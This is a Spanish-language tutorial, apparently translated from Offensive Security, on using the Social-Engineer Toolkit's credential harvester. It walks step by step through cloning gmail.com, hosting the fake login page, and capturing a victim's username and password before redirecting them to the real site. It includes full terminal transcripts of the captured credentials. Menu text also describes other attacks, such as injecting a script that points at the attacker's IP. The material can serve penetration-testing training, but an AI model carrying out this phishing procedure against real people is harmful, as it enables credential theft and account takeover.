Ataque del Cosechador de Credenciales

De www.metasploit-es.com.ar

Ataque del Cosechador de Credenciales

El metodo de ataque del cosechador de credenciales se utiliza cuando no quieres especificamente obtener una shell sino realizar ataques phishing con el objetivo de obtener nombre de usuarios y contraseñas del sistema. En este vector de ataque, un sitio web se clonara, y cuando la victima introduzca sus credenciales de usuario, los nombres de usuarios y contraseñas seran enviados de vuelta a tu maquina y la victima sera redirigida al sitio legitimo.

1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu

Enter your choice (press enter for default): 3


The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

[!] Website Attack Vectors [!]

1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu

Enter number (1-4): 2

Email harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report.


SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: https://gmail.com

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]

Press {return} to continue.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

Una vez que la victima pulsa sobre el enlace, se le presentara una replica exacta de gmail.com y se le requerira introducir su nombre de usuario y contraseña en los campos del formulario.

SET 03.png


Tan pronto como la victima pulse 'sign in', se nos mostraran las credenciales y la victima sera redirigida al sitio legitimo.

  [*] Social-Engineer Toolkit Credential Harvester Attack
  [*] Credential Harvester is running on port 80
  [*] Information will be displayed to you as it arrives below:
  172.16.32.131 - - [09/Sep/2010 10:12:55] "GET / HTTP/1.1" 200 -
  [*] WE GOT A HIT! Printing the output:
  PARAM: ltmpl=default
  PARAM: ltmplcache=2
  PARAM: continue=https://mail.google.com/mail/?
  PARAM: service=mail
  PARAM: rm=false
  PARAM: dsh=-7536764660264620804
  PARAM: ltmpl=default
  PARAM: ltmpl=default
  PARAM: scc=1
  PARAM: ss=1
  PARAM: timeStmp=
  PARAM: secTok=
  PARAM: GALX=nwAWNiTEqGc
  POSSIBLE USERNAME FIELD FOUND: Email=thisismyuser
  POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword
  PARAM: rmShown=1
  PARAM: signIn=Sign+in
  PARAM: asts=
  [*] WHEN YOUR FINISHED. HIT CONTROL-C TO GENERATE A REPORT


Notese tambien que cuando hayas acabado, pulsando CONTROL-C, se generara un informe para ti en dos formatos. El primero es un informe basado en html, el otro es xml y necesitaras parsear la informacion en otra herramienta.

^C[*] File exported to reports/2010-09-09 10:14:30.152435.html for your reading pleasure...
[*] File in XML format exported to reports/2010-09-09 10:14:30.152435.xml for your reading pleasure...

Press {return} to return to the menu.^C
The Social-Engineer Toolkit "Web Attack" vector is a unique way of
utilizing multiple web-based attacks in order to compromise the
intended victim.

Enter what type of attack you would like to utilize.

The Java Applet attack will spoof a Java Certificate and
deliver a metasploit based payload. Uses a customized
java applet created by Thomas Werth to deliver
the payload.

The Metasploit browser exploit method will utilize select
Metasploit browser exploits through an iframe and deliver
a Metasploit payload.

The Credential Harvester Method will utilize web cloning
of a website that has a username and password field and
harvest all the information posted to the website.

The TabNabbing Method will wait for a user to move to a
different tab, then refresh the page to something different.

The Man Left in the Middle Attack Method was introduced by
Kos and utilizes HTTP REFERER's in order to intercept fields
and harvest data from them. You need to have an already vulnerable
site and incorporate script src="http://YOURIP/". This could either
be from a compromised site or through XSS.

The web jacking attack method was introduced by white_sheep, Emgent
and the Back|Track team. This method utilizes iframe replacements to
make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set_config if its to slow/fast.

The multi-attack will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.

1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu

Enter your choice (press enter for default): ^C

Thank you for shopping at the Social-Engineer Toolkit.

Hack the Gibson...

root@bt:/pentest/exploits/set# firefox reports/2010-09-09\ 10\:14\:30.152435.
2010-09-09 10:14:30.152435.html  2010-09-09 10:14:30.152435.xml
root@bt:/pentest/exploits/set# firefox reports/2010-09-09\ 10\:14\:30.152435.html

SET 04.png



© Offensive Security 2009

Original de www.offensive-security.com
Traducido por cbk999
Herramientas personales